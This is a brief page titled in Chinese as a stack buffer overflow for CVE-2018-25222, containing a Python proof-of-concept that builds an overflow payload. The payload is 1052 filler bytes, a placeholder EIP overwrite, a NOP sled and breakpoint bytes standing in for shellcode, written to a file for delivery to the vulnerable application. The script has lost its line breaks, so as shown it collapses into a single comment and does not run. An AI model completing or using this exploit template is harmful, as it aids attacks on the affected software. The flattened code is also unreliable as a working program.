CVE-2018-25222 SC栈缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2018-25222 Stack Based Buffer Overflow import sys # Buffer overflow offset calculated at 1052 bytes offset = 1052 # Placeholder for return address (EIP overwrite) # Actual address needs to be determined via debugging ret_addr = b"\x41\x41\x41\x41" # NOP sled to increase reliability nop_sled = b"\x90" * 32 # Example Shellcode (exec /bin/sh or calc.exe) # Warning: For educational purposes only shellcode = b"\xCC" * 100 # Construct the payload payload = b"A" * offset + ret_addr + nop_sled + shellcode try: # Write payload to file or send to vulnerable application with open("cve_2018_25222_poc.txt", "wb") as f: f.write(payload) print("[+] Payload generated successfully.") print("[+] Payload length: {} bytes".format(len(payload))) except Exception as e: print("[-] Error generating payload: {}".format(e))